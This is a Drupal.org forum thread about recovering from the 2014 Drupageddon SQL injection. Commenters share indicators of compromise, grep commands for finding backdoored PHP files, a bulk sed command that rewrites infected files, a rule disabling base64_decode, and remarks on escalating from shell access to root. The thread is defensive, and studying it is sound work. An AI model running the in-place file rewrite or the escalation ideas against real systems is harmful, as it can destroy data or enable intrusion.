After finding no evidence of a compromise, I made a change to the firewall and rebooted. Within minutes, the office went dark - Internet-wise. The office manager went through the usual drill, but rebooting the Comcast router and office routers didn't help. After thinking about it, I was concerned that the reboot had unleashed a spam bot and Comcast had shut us down in their firewall, so I unplugged the server from the network. This was Friday afternoon. A call to Comcast indicated that our account had been "closed", but no one could tell us why.

By Saturday afternoon, the phones also went down.

It took until Monday afternoon to get Comcast to restore services, and they still can't say what triggered the closing of the account. Any ideas?

velvetpixel’s picture

Are there any database exploits other than file_put_contents entry in the menu router table and new odd users/roles?

What else should we be looking for in the database?

lanceh1412’s picture

Create a custom block with php code in body. See https://www.acquia.com/blog/learning-hackers-week-after-drupal-sql-injection-announcement


thoughtcat’s picture

In light of the comments in here about Drupal 6 sites hosted on the same server as D7 sites being vulnerable, I think the FAQ should be updated, no?

greggles’s picture

That's a good thing to consider. This FAQ links to the PSA https://www.drupal.org/PSA-2014-003 which links to an investigation and remediation guide which covers this topic among many others that are similar. My general sense is we should leave this FAQ focused and keep the remediation guide separate. I did update it to clarify the Drupal 6 situation a bit more w.r.t. the DBTNG module and being hosted on the same server as another site.

CARD.com :)

thoughtcat’s picture

OK, if that's what you think is best... those links didn't seem obvious.

I also think one thing missing from the FAQ and other "obvious" or official pages that I've seen is a shortlist of what to look for. Having read most of the comments on this page this can possibly be boiled down to:

  • new admin users registered that you don't recognise
  • new roles added that you didn't add
  • php files in module directories that "shouldn't be there"

With regard to the latter, it seems to me that the "Hacked!" module should be updated to tell the admin if an extra file has appeared in the codebase that it doesn't recognise. Also "Hacked!" says "Don't use this module on production sites" but it's not clear why that is - surely most sites affected will be live sites? https://www.drupal.org/project/hacked

Is there anything else? There's an example here of an actual hack which exposed a block on all the site's pages saying it had been hacked: http://www.csoonline.com/article/2843795/vulnerabilities/drupal-vulnerab... - although the organisation doesn't seem to think it was to do with Drupageddon.

greggles’s picture

Attackers don't limit themselves to a shortlist - why should the advice?

If the tools to investigate and remediate the issue are insufficient please work on that in the queues of those tools.

CARD.com :)

quantos’s picture

Hi guys. As most of our Drupal sites are hosted with www.dreamhost.com I raised a query with them about the relative vulnerability and isolation of Dreamhost VPS accounts from this particular threat. I got a great forum reply stating that "Also we DID block the SQL injection attacks if you kept Extra Web Security on for your site" which we have and always do.

See here for the thread/reply: https://discussion.dreamhost.com/thread-144446-post-180468.html

My query is still if anyone knows the Dreamhost VPS architecture and can also vouch for this? - the 'Extra Web Security' feature is explained here: http://wiki.dreamhost.com/Mod_security. I.E. can we rely on the protection this affords (without dumping databases, deleting VPSs and arranging clean installs etc)?

I certainly can't see any sign of new spurious users, files or roles being generated on our commercial sites there - or would the advice be to stick on the side of caution and clear the lot with fresh installs here, etc (as above)?

Thanks in advance for any advice.


Don't shoot me. I'm just a designer.

Heine’s picture

No, dreamhost did not say when it deployed the signatures: "As soon as we know about it, we DID add the SQL injection protection, but of course, we didn't know about it for those crucial 7+ hours either ".

CRFSproject’s picture

I recently inherited a site running Drupal 5.5 from 2007 (!!), and the MySQL accesslog table definitely indicates that it's being continuously hacked. Unfortunately, this is my introduction to administering a Drupal site, as I had only minimal experience with it before now.

Luckily, I had backed up the database (for the first time) on September 29th.

Unluckily, the site files had never been backed up. How screwed are we? None of the dates on the files indicate that they've been changed since the vulnerability was announced.

Jaypan’s picture

Drupal 5.5 is not vulnerable to this security exploit.

The Drupal organization has shut down discussion on improvement of the forums: https://www.drupal.org/node/2536122

It's time to start a new forum somewhere else. The Drupal organization does not care about the forums.

John Pitcairn’s picture

Drupal 5.5 has not been supported for some time, so you are unlikely to get a lot of help.

You may have been hacked in ways unrelated to this vulnerability, so a file audit could still be advisable.

Your best bet may be to install a clean Drupal 5.5 and all contrib modules locally using the same DB credentials as production, check all that into git as a subdirectory (ie run git init etc on the local site's parent directory), then overwrite the local subdirectory with a copy of the production site directory. Then git status and git diff on the parent directory will show you what has been added, removed or changed.

Changes may not necessarily indicate hacks, it's possible your predecessor was running patches for various things or had hacked core/contrib directly (ick).

File upload directories will still need checking to look for suspicious files, changes to .htaccess, etc.

Bevan’s picture

The flowchart is now up to version 8 9.

giovanninews’s picture

Hallo Bevan,
I think your insistence to publish the PSA of 29/10/2014 was very misleading and harmful to the Drupal world.
I understand that the team Drupal, for the sake of transparency, has made this choice; the choice is very careful and translates to 100% the spirit of open source. I can only say congratulations to the team Drupal; i appreciate the choice and quote Drupal the best CMS open source.
Despite this continues your insistence,
in my view most for interest advertising that solve problems of those are doing accounts with a serious error on the safety of Drupal.
In my case I did the upgrade on Drupal the 10/17/2015 at h. 9.00, well above the 7 h. specified in your iconography.
I know that the attacks of crackers started soon after the publication of the critical bug and several websites have been compromised immediately, this does not mean that all websites after 7 h. the publication of the bug, have been compromised.
Personally I am sure that my website has not been compromised, and every day since then, all I do is check out the website, from the files until you get to the database, based on all the advice and observations found in the community.
Your iconography, instead of helping the Drupal user, establishes a distrust and damages have yet to be counted.
The Drupal team can answer this if you update the data, and must do so again for the transparency and confidence of the Open Source.
But no one can ever tell us how many developers we lost, how many of them have lost their trust in Drupal and how long and what we must do to take them back.
In my small way I continue to show how much I note in my website:
in my case the attacks were launched on the 03/11/2014 as stated in the post
Today I found another attempt to attack:
The attack to get a superuser begins with a call php to the file /includes/unicode.inc on line 478, then there is again a call php to the file /includes/database/database.inc on line 984; in the end the cracker tries to log in as a user (superuser likely). In my case I get a failed login attempt.
Sorry for my english by the translator;
Regards Giovanni

hansrossel’s picture

Anybody knows if there are ModSecurity rules available that can stop these kinds of attack? I was able to patch all my sites within an hour after the announcement, but if next time the hackers will be double as fast and the announcement will come at a less convenient time I will need something else to be safe in time.

tamadonEH’s picture

!!Very important!!
I used drupal 7.31 for my blog and it never was vulnerable to CVE-2014-3704.
At first I think my blog has been compromised by hackers like you said in FAQ but I was wrong just like you!!!! [You will be vulnerable if you do not update.]
I have checked all of my files [files+ database] and I was found nothing! because this is about what template you used!
Set Fresh Theme on vulnerable site to understand what I said.
Result: "Not vulnerable" doesn't mean your blog has been compromised by hackers...
So please correct your post!


greggles’s picture

This is not valid advice. Perhaps you didn't get hacked, but attributing that fact to your theme is not well reasoned.

I am not aware of any modules or themes that provide protection against this vulnerability. I am very confident that the Fresh Theme doesn't provide _any_ additional protection whatsoever against any security issues.

CARD.com :)

mikedotexe’s picture

I second greggles here.

The patch for this security hole is a one-line change in an essential file that's not altered by theme code.

It wraps a $data variable with the function array_values()

Themes have nothing to do with it.


Hakuna Matata

nakes’s picture


So I've restored my site to a pre-October backup but now I need to import the content that's been added since then.

Would it be safe to export the nodes from my custom content types and import them with feeds module to the backed up site as either xml or csv?

lombrozo’s picture

I'm at the same stage, is it safe to migrate the nodes, and what's the best way of doing it?

nakes’s picture

I'm assuming it is safe as it's essentially just text fields that will be populated from a csv file. I'm also importing users for two of the roles on my site. I'm a bit more cautious with this though but again, I'm pretty sure this wil be safe in my case as these user roles have limited permissions.

I hope my assumptions are correct and I don't compromise my restored site...

All the imports are to be done after updating Drupal to 7.32 and also all modules.

greggles’s picture

You should review the content and especially the input format associated with all content that you import. An attacker might place an xss or php-enabled node inside your site as a way to carry out some purpose or keep getting control in the future.

CARD.com :)

nakes’s picture

I've restored files(drupal 7.33) and a database from an August backup so should be safe. I'm still seeing the same failed login attempts in the logs and also same in "Bad Behaviour" logs as I saw in the pre-backup site...

Could this just be normal spammer attempts on my domain?

greta_drupal’s picture

I did full update within 7 hours on Oct. 15th and also reviewed folders + db. But, seeing this in my Drupal logs for Nov. 5th. Not sure if this indicates a successful attack or a thwarted attack:

Type	php
Date	Wednesday, November 5, 2014 - 23:36
User	Visitors
Location	http://ivegan.org/user/login/
Referrer	https://www.google.com/ (link is external)
Message	Notice: Array to string conversion in DatabaseConnection->escapeLike() (line 984 of /home4/tyme444/public_html/ivegan.org/includes/database/database.inc).
Severity	notice
giovanninews’s picture

I think we tried; soon after, in the log, you should have access denied.

greta_drupal’s picture

Don't understand your reply.

giovanninews’s picture

I'm sorry but I do not speak English, I use translator.
I try to answer you yet, hoping to be more understandable.
I think they have tried to attack your website, but the attack is failed.
Immediately after the message you highlighted, you should see an access denied for that IP address.

Ciao Giovanni

greta_drupal’s picture

Okay, understand, thank you. Good to know. (What I thought.)

netgenius.co.uk’s picture

As base64 encoding is often used to mask code, it occurs to me that it would be worthwhile to disable the base64_decode function (unless you need it for something, which is probably not the case for most sites.)

i.e., in php.ini or some suitable .ini file in PHP's conf.d directory:

disable_functions = "base64_decode"

This would mean that if your server has a PHP backdoor (whether in the filesystem or database) AND that uses base64, then the backdoor will fail to function. Many (all?) of the attempts documented here seem to be using base64, so this would seem worthwhile.

I did grep -nHIirF -- base64_decode in my Drupal root and found that the following need that function:


.. but if you're not using any of those (or a third party module that needs it) then disabling base64_decode should be ok.

Any thoughts?

netgenius.co.uk’s picture

Any comments at all on this idea please? i.e. disabling base64_decode at least temporarily. Has anybody seen any malicious code which was *not* base64 encoded? I realise this would not be a "solution" put it's very quick to do and would prevent execution of any PHP (malicious or not :) which requires it.

I've been running my own site with base64 decode disabled for a couple of weeks now, just for confirmation. No weird effects that I can see (obviously nothing actually needs it).

http://php.net/manual/en/ini.core.php#ini.disable-functions - "This directive must be set in php.ini" - an attacker cannot re-enable the function via ini_set().

mikedotexe’s picture

This is actually a really interesting idea.
I just ran a command in a Drupal core directory, and I see there are calls to base64_decode in

May not want to mess with that. But interesting suggestion, and I never thought of it.

Hakuna Matata

netgenius.co.uk’s picture

Yes, same results as my search - unicode.inc and the openid module. In unicode.inc, it's needed for _mime_header_decode - called by mime_header_decode - I can't see when that gets called - maybe never in a "standard" site? Again, my own site has been running several weeks with base64_decode disabled, with absolutely no visible side effects. I don't use the openid module.

Further idea:

For anyone that needs base64_decode, or to log all calls to base64_decode for investigation, a further option would be to disable it in php.ini and write your own:

// See http://php.net/manual/en/function.base64-decode.php
function base64_decode ( $data, $strict = false  ) {
  // Do some security checks, logging, whatever.
  // Maybe use debug_backtrace - http://php.net/manual/en/function.debug-backtrace.php
  // If everything is ok, run our own base64_decode function.
  // There's an example in C here: http://stackoverflow.com/questions/342409/how-do-i-base64-encode-decode-in-c

On my own site, I created a PHP block (invisible to anon users) to confirm that base64_Decode is really disabled:

echo '<h4>This is PHP</h4>';
$func = 'base64_decode';
$enabled = function_exists($func)? 'ENABLED' : 'disabled';
echo $func . ': ' . $enabled;

Just to clarify, I know this is not a solution for a compromised site, but for anyone that really can't restore their site/server from backups and doesn't have the time/skills to do a full audit, or simply wants to keep the site up while performing a security audit, then disabling base64_decode is way of instantly closing any backdoors (assuming those backdoors require base64_decode, and that seems to be the case in all reports here so far.)

Todd Young’s picture

For those seeing 'PCT4BA6ODSE' in their PHP files - I have an easy command to run for scrubbing your site out completely of these hacks (in case you do not have backups). This will not fix the underlying issue, but if you find that your PHP files have been devoured by the hackers this will at least clean up the files without damaging them:

Go to the root of your site and issue the following command:

grep -Rl PCT4BA6ODSE .

This will look through your entire site, looking for instances of either newly-creately or pre-existing files that have been hacked with this variant - files that will now allow outside attackers to bounce commands off your server. Assuming the result of this command indeed lists affected files, you can then run this additional command:

grep -Rl PCT4BA6ODSE . | xargs sed -i 's/<[?]php.*PCT4BA6ODSE_.*[?]>/<\?php \/\/ RECOVERED FILE - more info at AllAboutTodd.com \?>/g'

This will sweep through all affected files, removing the malicious code but saving the rest of the file. Make sure you have backups of your system in case something goes wrong, etc etc etc...

People have been approaching me to help save their crusty, non-archived sites that were so ancient, and with HUNDREDS of affected files, that deleting & reinstalling old versions of every PHP file would have taken me days. This simple command did the trick.

Since this thread is chotic I am posting follow-ups to this at http://allabouttodd.com/drupal/hacked-PCT4BA6ODSE

likewhoa’s picture

PCT4BA6ODSE is just probably one of the many alpha numeric file names used so this would not be something I would recommend is the *best* way to find the exploits. What people need to do now is basically set correct file system permissions in their drupal root and never allow php code to ever be executed in places where writes are allowed i.e sites/default/files or sites/all//files.

I have written code which looks for changes in your any directories using inotify. You can find this script at https://github.com/likewhoa/e-watch

I am currently modifying this script so that it can do email and SMS notifications when ever there are any CRUD changes in my drupal environments, that way I can be alerted early on.

Bending technology to fit business

beatniqe’s picture

I discovered that our backup plan was a complete failure. I only have backups to about a week ago, so I have to assume they're no good to me.

Correct me if I'm wrong, but at this point my best option to ensure that the site is clean of exploits is to completely rebuild the site from scratch?

likewhoa’s picture

Depending on the complexity of the site you might have to decide between a complete rebuild of data migration into a fresh site. If you don't really have much and doing a rebuild won't take as long as doing a complete and throughout code audit then I would go that route, otherwise a rebuild might be needed and not just of the Drupal site but perhaps of the whole server depending on how far they got as some sites didn't just get malicious php files created in them but they also have root-kits installed outside the drupal root which compromises the whole server.

Good luck and remember always verify backups!

Bending technology to fit business

lanceh1412’s picture

Why was it decided that 7 hours was the cut off for not being compromised? Why not 5 hours or 9 hours? Was this the time that the first attacks were detected? Given all the talk about how hard it is to detect attacks can we be sure that there weren't earlier attacks that went undetected?


likewhoa’s picture

Well for this reason it's best to monitor your drupal root for any file systems changes using inotify. I wrote just a script to accomplish this but I have not pushed my latest changes that add email notifications and other types of notifications and reactions based on changes in the vhost root of a specific site.

https://github.com/likewhoa/e-watch is my current script, feel free to contribute to it, but to answer your question it's possible that the attacks didn't occur before they were discovered given the mass amount of attacks that happened once the security advisory was released. If anyone one individual had knowledge of this exploit before the general public had access they sure did cover their tracks well but I bet this was not the case but you NEVER know.

Bending technology to fit business

lanceh1412’s picture

I am sure I am being very naive here but I don't understand how this vulnerability can lead to an attack that leaves no trace. All of the reported attacks have left traces. Obviously if there were no traces then the attack would be undetected. But surely an attack must hit either the database or the file system. If an attacker is going to take over the server e.g. via a rootkit then surely at some point they would need to get root access? Being able to run php as apache does not give sufficient privileges to do this. If the file system is well secured there are only a limited number of places that can be compromised. It should be possible to detect any changes. This leaves us with the database. So something is hidden in the database. This is tricky but you can compare the db with an earlier safe backup. Once you have discounted all the reported exploits you can look at session tables etc. Surely there will be some trace?

(Obviously I have assumed that there are no bugs in the server software that an attacker can exploit. We'll take it as read that there are more as yet 'undiscovered' bugs that can be exploited).


likewhoa’s picture

Many attacks will leave no trace if the attacker is smart enough to clear their tracks and the administrator lacks proper integrity checks and monitoring tools for the network and file system. The reason most of the attacks left traces were that the automated hacks didn't have this in mind but I am sure some sites that got exploited were patched by the attackers so that no one else infiltrates them and on top of that they probably cleared their tracks.

It's always good to have file integrity monitoring tools like zabbix or samhain that will notify the sysadmin when there are anomalies on the servers.

Bending technology to fit business

lanceh1412’s picture

Surely in order to clear their tracks they would need to gain administrator access? There should be evidence of attacks in syslog, auth.log, web logs which they shouldn't be able to clear. My question is "is it possible from this exploit to directly gain administrator access"? Are there known vulnerabilities in Apache that allow someone running as www-data to escalate privileges to root?


likewhoa’s picture

Once you have shell access it's just a matter of auditing the system for any local exploits that can escalate your privileges and once you gain root you basically own the system and can remove your tracks. You be surprise how many systems have local exploits and or running old kernels.

Bending technology to fit business

lanceh1412’s picture

I always imaged unix a secure system but I'm amazed at what you can see as a simple 'others' user. Once you've got access you can root around in the virtual hosts and other configuration files and find out all kinds of stuff. It's really scary. Running as apache user you can see all the other drupal installs on the system and view their db credentials and everything, which makes me realise that if you have a multi-site configuration or even multiple drupal installs on the same server and you give one user access to php you effectively give them access to have a good look around whole server!


likewhoa’s picture

There are ways to jailchroot users into their own $HOME directory so all they can actually see it's their $HOME contents and their user processes (if using grsec), and essentially only include certain binaries for use in their jail chroot but this setup requires lots of configuration for the initial jail chroot environment. https://github.com/spiculator/jail is on project that help automate this process but i've never used it because I have my own custom made wrappers for this task.

Bending technology to fit business

lanceh1412’s picture

Thanks for the link. I'll investigate that. I also read somewhere about running separate instances of apache in a VM or something like that which I'll try and find out more about.


tuccio’s picture

Ah crap. Commenting this is useless.

tuccio’s picture

Actually, no.

I found out about this vulnerability only by chance a few days ago.

Now, I develop Drupal sites so I am on drupal.org almost daily mostly reading the contributed modules issues.

Can anyone explain to me why there is no red bold ugly alert on each and every page of drupal.org warning the visitors about the extreme severity of this incident?

I have already found many compromised clients' sites and servers. I am being overloaded with emergencies from servers sending out spam and running out of memory and I had to shut down peoples's sites because of lack of time to restore them.

What the hell are you waiting for before publishing an emergency alert all over the place?

This time you screwed up big time, Drupal!!!

Time to refresh php coding memories and start coding my own goddamn sites. My code won't be as fancy as yours but at least I won't be penalized by your negligence or insider's foreknowledge.

PS and by the way don't start the crap that it was my fault because the sites were not updated. The attacks started within hours and nobody runs updates 3-4 times daily. I normally do them weekly and some clients dont want to bother so in those cases I run them only when they request additional work.

Heine’s picture

Security advisories are available from several channels. See https://www.drupal.org/security for details.

gpk’s picture

I think that a "red bold ugly alert on each and every page of drupal.org warning the visitors about the extreme severity of this incident" is a necessary additional channel for advisories of this severity.

The priority in this sort of situation must be to notify potentially affected site administrators as comprehensively as possible using all possible means, within reason. I can't think of a previous Drupal vulnerability of this severity in terms of its potential impact. Certainly since I started using Drupal several years ago there has been nothing like it, and because Drupal was much smaller back then, no vulnerability could have had the impact this one has had. I wonder how it compares with Heartbleed and Shellshock in terms of severity of impact. Even if the estimate of 12 million websites turns out to be an over-estimate and is an order of magnitude out, the thought of a million infected websites/webserver accounts or webservers is beyond sobering. I don't quite grasp the arithmetic though:

Stockley estimates that around 5.1% of the one billion websites that utilize Drupal needed patching at the time of the automated attack, thus up to 12 million sites could have been compromised.

(https://www.cryptocoinsnews.com/drupal/) And of course the irony is that the vulnerability was there all the time, and it was the announcement of its existence that appears to have triggered the hacks. It's a real conundrum to me how this sort of situation is best handled.

I wonder also if there are any other communication channels that should be considered.

Heine’s picture

Agreed. Besides that, the security mailing lists should be advertised more clearly during core installation or download. Nobody reads INSTALL.txt.

tuccio’s picture

Running updates can each time break the site for a number of reasons.

Because of this, my approach is (was!) to do it weekly on important sites from command line where I would take a full backup right before running updates with Drush.

On some client sites where I am forced to use FTP, the update process is more lengthy and so cannot be done that frequently either.

While most of the times this sequence of operations is finished in minutes, there are a number of instances where additional manual intervention is needed and a number of instances where the updates totally break the site (of course mainly because of contributed modules).

Even if Drupal core updates are less likely to break things than contrib modules updates, still a contrib module could be incompatible and break the site because of a core update.

For the above reasons, automated updates are always risky.

Eg, recently a Wordpress site I had was totally disabled by an infinite redirection loop after an automatic Wordpress core update.

I'd rather have a solid notification channel for emergency updates. The CMS could have an encrypted notification service that shows an nagging alert to admins and that fires emails to certain roles.

But besides all this, the fact remains that by using popular platforms, a single vulnerability can affect millions for whatever reason, in one fell swoop. No approach can remove this fact.

Therefore, I am planning to start coding my own sites with the help of a php framework.

Sure, I'll have to take some time off to get up to speed.
Sure, my code could be easier to hack (but only by those who are really after my ass, and not after the White House).
Sure, the framework components will have vulnerabilities as well.
Sure, my sites will be simpler.

But, I won't be screwed by the Drupal "elites" anymore. And that will be no small achievement, in my books.

Fool me once, blame on you. Fool me twice, blame on me.

tuccio’s picture

There you go. If someone does not participate in the insiders' knowledge, then it's that person's fault.
We all have to read security announcements all day long, else we are morons.

You know what, if someone runs you over then it's your fault for being in the wrong spot at the wrong time. You should have known better ( = have the insiders' knowledge ) that the particolar spot at the particular time was wrong.

Really, by cultivating this elitist mentality you are creating a lobby of insiders vs. the common folks. And then you have the insiders' companies who could save their asses having the foreknowledge, while the common folks can rot in hell.

From now on I'll only use Drupal if I have to. For sites of my choice I'll use custom code. So I'll have an easier time being an insider.

Heine’s picture

Why is it your fault? The speed with which this issue was exploited took many by surprise! I've heard many stories of agencies who updated immediately the morning following the announcement, only to find their sites were already hacked before they even got into the office.

You shouldn't blame yourself.

tuccio’s picture

Heine, I was being sarcastic, meaning that it would be like blaming someone for being run over by a vehicle. The point is that if I, who visit drupall.org daily, only found this incident by chance after finding compromised sites, then this means that not enough has been done to alert the Drupal users, the majority of whom are not security professionals.

And then learning that some companies installed protections in advance of the announcement really pisses me off, to be honest if rude.

They knew it was coming and they knew if was coming hard, but only protected themselves. This is unacceptable, and so I invite all Drupal developers with some coding skills to consider start coding their own projects with custom code using any of the available frameworks, and to stop using Drupal whenever possible.

Look, the ramifications of this incident are not understood by the majority of Drupal users (many still don't know anything about it).

There are scores of compromised server out there. They can and will be used at some time in the future, perhaps when this incident is forgotten. I find myself then in the obligation of restore or delete ALL Drupal sites I own or manage (SHIT). And possibly to rebuild the servers.

Therefore I am very upset because my life has been made miserable BECAUSE OF LACK OF A REAL AND TIMELY GLOBAL ALERT USING ALL POSSIBLE MEANS. The alert could have been anticipated widely without disclosing the details. But no, they were too busy installing protections for their own companies.

Heine’s picture

What had been done:

The alert was send the 15th through the official channel listed in the installation documentation. This alert was sent by the Drupal security team. A FAQ was created and updated. The issue was listed on the front page.

Unofficially and not just by security team members, was a tsunami of tweets, wide pickup by tech "journalists" and lots of chest-thumping posts to Planet. Various approaches for site investigation were posted by the community.

Evaluation of the process around this issue and investigating and implementing improvements is planned. For future highly critical alerts, we'll look into additional approaches. Some are:

  • pre-announcement of the release via the security news mailing list a week in advance stating an important update is coming.
  • a banner. Not sure it would have helped timely updates, would have helped with information dissemination.
  • better advertising of the mailing list. Not sure how.
  • automated updates for a subset of sites.
  • ?

> But no, they were too busy installing protections for their own companies.

I'm not happy that info was leaked to Acquia and Pantheon, but this did not interfere with the release process itself. That said, the info leak, together with an additional disclosure on or before the morning of the 15th by another party might have contributed to the speed with which (identical) exploits appeared shortly after the official announcement.

raj45’s picture

Thank you for sharing your thoughts Heine. Regarding the handling of security holes of similar magnitude as Drupalgeddon (may they never happen again!), my personal point of view is that the one week pre-announcement is the way to go.

A repeat of this situation where many web sites are left open to attacks, would be a shot below the waterline, which would harm the Drupal project tremendously, perhaps never to recover.

Aside from the one week pre-announcement, the upcoming patch could also be announced on the front of drupal.org, and publicized in other places. But a pre-warning one week in advance, submitted via the security update newsletter should get the ears of most administrators of Drupal sites.

gaele’s picture

better advertising of the mailing list. Not sure how.

  • The Security anouncements block in the sidebar on https://www.drupal.org/security could have its own separate page.
  • Link to that page from Drupal after a succesful install. "Now is a good time to subscribe to the Security announcements list."
paulwdru’s picture

Dear Sir,
Deeply feeling UNSAFE with Drupal since the hack could COMPROMISE the ENTIRE SERVER. What to do if I'm on a Shared Hosting Server which might be hosting numerous Drupal sites created by others ? I do NOT think any Shared Hosting Providers would rebuild their SHARED SERVERS from the scratch or even having time to check through any Drupal Sites being hosted is SAFE & NOT COMPROMISED. I doubt if there're still any SAFE SHARED HOSTING on this planet after this incident. How come it COULD COMPROMISE the ENTIRE SERVER ? It seems ridiculous, sorry for being harsh, really frustrated as we might have to move to a brand new Dedicated Server for ultra safety, none of the Shared Servers are no longer guaranteed not being compromised in the world. Thanks

greta_drupal’s picture

I've been wondering/asking about this, as well.

gpk’s picture

I would expect that on a well-run shared server which has good security then only the account containing the hacked site would be compromised. But a lot depends on the actual configuration of the shared server.

Members of the Drupal security team who write these announcements for us probably don't use shared servers and are likely thinking more about dedicated servers or VPS than humble shared hosting users. But having said that, on a shared server that doesn't have very good security then I'm sure that it might be possible to take over the whole server after hacking one account.

tuccio’s picture

It mostly depends on the filesystem permissions and on the user under which php runs. You need to notify your hosting support ASAP and they will take the necessary steps. If php runs as the Apache server user, then potentially other accounts can be compromised. And iin time, other malicious scripts can be installed to try to escalate privileges.

Jaypan’s picture

I've never seen shared hosting that allows you to edit other users file systems, even with the Apache user. I'm not saying they don't exist, but if such is the case with your hosting company, you need to be on another hosting company yesterday, as this means your site is never secure on that server.

The Drupal organization has shut down discussion on improvement of the forums: https://www.drupal.org/node/2536122

It's time to start a new forum somewhere else. The Drupal organization does not care about the forums.

lanceh1412’s picture

For all those who have had their confidence shaken in Drupal my recommendation is bin your computers and go back to using pen and paper - it's the only safe way :) Heartbleed, Shellshock, drupageddon and now windows schannel. Pity the poor so and so's who are managing drupal and IIS sites!


tuccio’s picture

It's not a matter of confidence in Drupal per se, but being wary of any system where

  • the decisions of few can affect millions
  • a single oversight can affect millions

Any such system is a recipe for abuse and for disaster. By the way, this is exactly what's happening in the real world.

We need to stop relying on huge systems beyond our control, and go back to hand-crafted products. Coding our own sites is the best defense against these situations. It will take some initial effort but it'll be worthy in the end.

Let banks and government use Drupal and Microsoft. They can afford the mess. I cannot.

Jaypan’s picture

We need to stop relying on huge systems beyond our control, and go back to hand-crafted products. Coding our own sites is the best defense against these situations. It will take some initial effort but it'll be worthy in the end.

I consider myself a pretty good coder. I know a good bit about security, and how to keep things safe. And I can guarantee that Drupal is a lot more secure than anything I could build. I'd bet the same goes for 99.99% of coders out there. Building your own systems from scratch is more likely a road to a less secure system, not a more secure system. Drupal is extremely secure, and with this newest security release, it's even more secure than it was. Don't forget, it took thousands of users looking over Drupal code, and many security edits before someone found this security hole. That's not the sign of a vulnerable system, it's the sign of a secure system.

The Drupal organization has shut down discussion on improvement of the forums: https://www.drupal.org/node/2536122

It's time to start a new forum somewhere else. The Drupal organization does not care about the forums.

tuccio’s picture

You missed my point, Jaypan.

If each project is unique:

  1. How much negative attention (both foreign and domestic) can each project generate?
  2. How many chances are there for each single site to be hacked?
  3. How many chances are there for millions of sites to be compromised at the same time?

If I had coded each of my sites individually, no matter how crappy my code, what would the odds be that within a week all of my sites needed to be trashed? Or that I needed to run updates twice a day?

Does it take rocket science?

I am not arguing against frameworks. But there is a difference between advanced tools and the end product. It is fine to use solid tools, but each end product can and should be unique and off the grid to an extent. Of course if security is a concern then the appropriate resources will need to be invested and no single coder can take care of all aspects. But nonetheless...

Jaypan’s picture

You're arguing security through obscurity. And that's just not secure at all. If you have sensitive enough information on your site that you are worried about getting hacked, then you are only putting yourself in a worse position, not a better one.

Unless you're a security genius that is.

The Drupal organization has shut down discussion on improvement of the forums: https://www.drupal.org/node/2536122

It's time to start a new forum somewhere else. The Drupal organization does not care about the forums.

tuccio’s picture

And then I just realized that Drupal can check for updates not oftener than once a day. So it was IMPOSSIBLE to be alerted in time.

Tell me about security geniuses...

VM’s picture

And then I just realized that Drupal can check for updates not oftener than once a day. So it was IMPOSSIBLE to be alerted in time.

The statement above is a bit misleading. Automatic checks can be set up for once daily in admin UI. However manual checks can be run at any time in admin/reports/updates or by using drush.

lanceh1412’s picture

Anyone out there actually know of anyone who had their server taken over? Do you know the circumstances that allowed it to happen? I've started a page in the security documentation to look at ways we can protect our servers. It is a work in progress but any contributions would be welcome.


mikedotexe’s picture

Yes, we have had our servers compromised.
I haven't read through all the comments yet, but elsewhere online, the fix for Drupalgeddon is to rollback your Drupal site to before Oct 15th.

This is not sufficient in our case.

We had other sites, including wordpress and static HTML/PHP sites that were hacked as well.
It's as if the attacker traversed parent directories and replaced all index.php files. (Also for bootstrap.inc files)

We've seen that Drupal 6 sites on the same server have been compromised.

Here's an example of our hacked index.php file:

^ You must open that file in a text editor with "word wrap" enabled. If you open it in nano or vim, you may not see the code, because they added lots of white space to hide it.

So you'll notice it does a few str_replace functions. In the end, what's happening (from what I can tell from limited time) is PHP code that's base64_encoded. Three times, actually.

So if you base64_decode the variables, you'll find another base64_encoded variable. You do that two more times and you'll get this code, which is eval'ed:


^ this was, of course, all on one line. I've manually formatted it to make it easier to read.

I searched our menu_router table (and the entire database), and found no calls to these function names. I also didn't find base64_encoded calls to these. That's great news, because it might mean that the database is not infected, and cleaning the files will resolve the issue.

What I did to find all the infected sites on our server, was run this command:

grep -r -i --include index.php str_replace . > indexphpHackedList.txt

^ we have many accounts, so I ran this under root in /home. The code uses str_replace to obfuscate the base64_encoded PHP, but luckily Drupal's index.php file never calls str_replace, so that's a good lead.
The line above is essentially saying:
"give me all the index.php files that have str_replace in them, write the results to indexphpHackedList.txt"

We've got over a hundred sites on this server, and I manually cleaned them, replacing index.php and bootstrap.inc by their Drupal version. (We don't often use multisites)

Hope this helps people!

Hakuna Matata

netgenius.co.uk’s picture

base64 again. Please see my suggestion here: https://www.drupal.org/drupalsa05FAQ#comment-9320437 - as a way of disabling malicious code, for example while investigating further.

lanceh1412’s picture

Thanks for the info. Had a look at the hacked-index.php. The second one my anti-virus refused to download! Anyway it was interesting to look at how it came in. This seems to be a variant of fairly standard script. See http://stackoverflow.com/questions/22647441/what-does-this-malicious-php....

Do you know when the attack happened? What you described is quite possible on a server that allows write privileges to the Apache user. Did they manage to get root access or did they just make use of the Apache user privileges do you know? Was it shared hosting?


Bevan’s picture

The flowchart is now up to version 9.

How to recover from Drupageddon

gratefulsk’s picture

From all the info I've gotten it seems that you can't be 100% certain that you weren't compromised, but I've exhaustive every noticeable sign of infection and have found nothing. We applied the patch on 10/22/2014 to our site. We also have the http:BL module installed which blocks a large number of spammers.

If I know that there were others that have clean sites it can give some people a bit of hope. Also, it would be nice to find out if there is some sort of statistics to show how may Drupal sites were and were not infected.

lanceh1412’s picture

How do you decide whether your site was compromised or not? Apart from where there are visible signs of attack the only criterion seems to be whether you patched before 7 hours or not. I don't understand this. It seems to be based on the first automated attacks which were well documented. Sometime after one of these attacks people were still able to find evidence of the attack such as in the router table or some new php file, so it would seem that the attackers weren't bothered about hiding their tracks. If this is what the 7 hours figure is based on then you would know whether you had been hacked or not and could take the advised action of restoring from backups. If on the other hand the 7 hours is based on some other evidence what is that evidence?

There are a huge number of drupal websites out there (according to the BBC 12 million :). How realistic would it be for hackers to come up, within 7 hours, with an automated attack which left no trace? Surely there would have been evidence of such an attack in the logs of those people who had already patched? Pantheon and Acquia both saw evidence of the early attacks but these are the very attacks which others who have been hacked have also reported on. Since these attacks must come through sql injection any other attacks surely would have been spotted by Pantheon, Acquia and others but we have no reports?

The real question is how reliable is this 7 hours figure? What if I patched in 6 hours, can I be sure my servers are ok? What about 16 hours? I saw the attack in my logs at 7pm (GMT) on the 16th. It failed - I'd already patched.


Stagger Lee’s picture

Is it not time to do as people behind Wordpress do ?
Such bugs patch in silent automatically, and update core for security holes without noticing hackers first.
